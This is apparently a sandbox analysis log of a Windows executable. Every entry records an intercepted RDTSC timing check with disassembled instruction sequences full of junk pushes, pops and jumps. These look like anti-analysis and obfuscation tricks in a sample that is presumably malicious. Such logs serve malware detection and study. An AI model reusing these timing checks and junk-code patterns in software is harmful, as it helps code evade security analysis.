Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5364 second address: 9D53DC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F2429065B48h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov dx, FEBEh 0x00000030 jmp 00007F2429065B52h 0x00000035 push 00000000h 0x00000037 jmp 00007F2429065B53h 0x0000003c and di, 39A3h 0x00000041 call 00007F2429065B49h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F2429065B4Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D53DC second address: 9D5461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E936h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007F242906E928h 0x00000011 push esi 0x00000012 pop esi 0x00000013 jng 00007F242906E935h 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jmp 00007F242906E936h 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 jng 00007F242906E93Ch 0x0000002c push edx 0x0000002d jnl 00007F242906E926h 0x00000033 pop edx 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5461 second address: 9D5465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5465 second address: 9D54D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jno 00007F242906E92Ch 0x0000000e movsx esi, di 0x00000011 push 00000003h 0x00000013 mov dword ptr [ebp+122D2663h], edx 0x00000019 mov ecx, esi 0x0000001b push 00000000h 0x0000001d mov edx, dword ptr [ebp+122D3495h] 0x00000023 push 00000003h 0x00000025 movsx esi, cx 0x00000028 push 4A96893Dh 0x0000002d jnl 00007F242906E92Eh 0x00000033 add dword ptr [esp], 756976C3h 0x0000003a call 00007F242906E92Bh 0x0000003f mov cx, 32FDh 0x00000043 pop edx 0x00000044 lea ebx, dword ptr [ebp+12456FA5h] 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F242906E931h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D54D7 second address: 9D54EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2429065B4Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9828 second address: 9B9836 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F242906E926h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9836 second address: 9B983C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B983C second address: 9B9840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B9840 second address: 9B984A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2429065B46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46DF second address: 9F46E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46E3 second address: 9F46E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46E9 second address: 9F46EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F46EF second address: 9F46F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4846 second address: 9F484D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F484D second address: 9F4866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2429065B46h 0x0000000a popad 0x0000000b push ecx 0x0000000c jc 00007F2429065B46h 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4CA4 second address: 9F4CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4DD7 second address: 9F4DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4F60 second address: 9F4F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4F64 second address: 9F4F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F50F5 second address: 9F50FF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F53EC second address: 9F5402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2429065B4Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5402 second address: 9F5406 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F57C9 second address: 9F57D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F57D0 second address: 9F57E4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F242906E92Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F57E4 second address: 9F57F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F57F2 second address: 9F5849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jnc 00007F242906E940h 0x0000000d jmp 00007F242906E938h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F242906E936h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5983 second address: 9F5987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5987 second address: 9F59B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F242906E94Bh 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F242906E937h 0x00000016 pop edi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5F3B second address: 9F5F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2429065B56h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F60CD second address: 9F60E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F242906E938h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F63A0 second address: 9F63C7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2429065B46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F2429065B46h 0x00000014 jmp 00007F2429065B53h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F63C7 second address: 9F63CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB210 second address: 9FB22A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B55h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC1A8 second address: 9CC1AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC1AF second address: 9CC1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2429065B46h 0x0000000a popad 0x0000000b js 00007F2429065B4Eh 0x00000011 jne 00007F2429065B46h 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c jmp 00007F2429065B52h 0x00000021 pushad 0x00000022 jmp 00007F2429065B4Eh 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC1F0 second address: 9CC1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC1F8 second address: 9CC1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC1FE second address: 9CC204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE573 second address: 9FE5D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jnl 00007F2429065B56h 0x0000000f pushad 0x00000010 js 00007F2429065B46h 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e jc 00007F2429065B57h 0x00000024 push ebx 0x00000025 jmp 00007F2429065B4Fh 0x0000002a pop ebx 0x0000002b mov eax, dword ptr [eax] 0x0000002d push edx 0x0000002e jmp 00007F2429065B4Dh 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 pushad 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD64C second address: 9FD650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A028D5 second address: A028DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B61DE second address: 9B61E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F242906E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B61E8 second address: 9B6216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F2429065B62h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jp 00007F2429065B46h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D2A second address: A01D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E937h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F242906E926h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D4D second address: A01D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D56 second address: A01D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D64 second address: A01D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D68 second address: A01D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F242906E92Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F242906E939h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D95 second address: A01D9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01F2C second address: A01F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02586 second address: A0258A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0258A second address: A025AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F242906E938h 0x0000000d popad 0x0000000e push edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A025AF second address: A025CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2429065B50h 0x0000000b popad 0x0000000c pushad 0x0000000d jbe 00007F2429065B46h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A025CF second address: A025DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F242906E926h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05082 second address: A050A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F2429065B54h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A050A5 second address: A050BF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F242906E92Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A050BF second address: A050DE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F2429065B50h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C33 second address: A05C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 pushad 0x00000008 movsx edx, dx 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05C44 second address: A05C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05E5B second address: A05E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F242906E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F4E second address: A05F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F52 second address: A05F58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A05F58 second address: A05F5D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06106 second address: A0610C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0610C second address: A06122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06122 second address: A06127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0667E second address: A06682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06682 second address: A06686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08AD1 second address: A08AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A087C1 second address: A087CB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08AD5 second address: A08AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F2429065B46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A094F1 second address: A09576 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F242906E933h 0x00000008 jmp 00007F242906E92Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jnp 00007F242906E93Ch 0x00000016 js 00007F242906E936h 0x0000001c jmp 00007F242906E930h 0x00000021 nop 0x00000022 push 00000000h 0x00000024 call 00007F242906E92Eh 0x00000029 mov dword ptr [ebp+122D2E9Ah], edi 0x0000002f pop edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F242906E928h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c mov esi, dword ptr [ebp+122D34F1h] 0x00000052 add dword ptr [ebp+122D2696h], ecx 0x00000058 xchg eax, ebx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09576 second address: A0957A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A092A0 second address: A092B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F242906E92Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0957A second address: A09598 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2429065B56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A092B5 second address: A092BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09598 second address: A0959C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0959C second address: A095BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F242906E930h 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F242906E926h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AB28 second address: A0AB2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AB2E second address: A0AB8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F242906E934h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F242906E933h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F242906E928h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+1245D012h], ebx 0x00000036 push 00000000h 0x00000038 xchg eax, ebx 0x00000039 pushad 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0AB8F second address: A0ABB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F2429065B4Ch 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2429065B50h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0B33A second address: A0B344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F242906E926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DCAB second address: A0DCAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DCAF second address: A0DCBD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F242906E926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DCBD second address: A0DD0A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F2429065B48h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D275Ch], edx 0x0000002e push 00000000h 0x00000030 mov di, bx 0x00000033 push 00000000h 0x00000035 ja 00007F2429065B4Ch 0x0000003b xchg eax, esi 0x0000003c push ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8A08 second address: 9C8A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F242906E936h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F242906E926h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10142 second address: A10154 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2429065B46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F2429065B4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
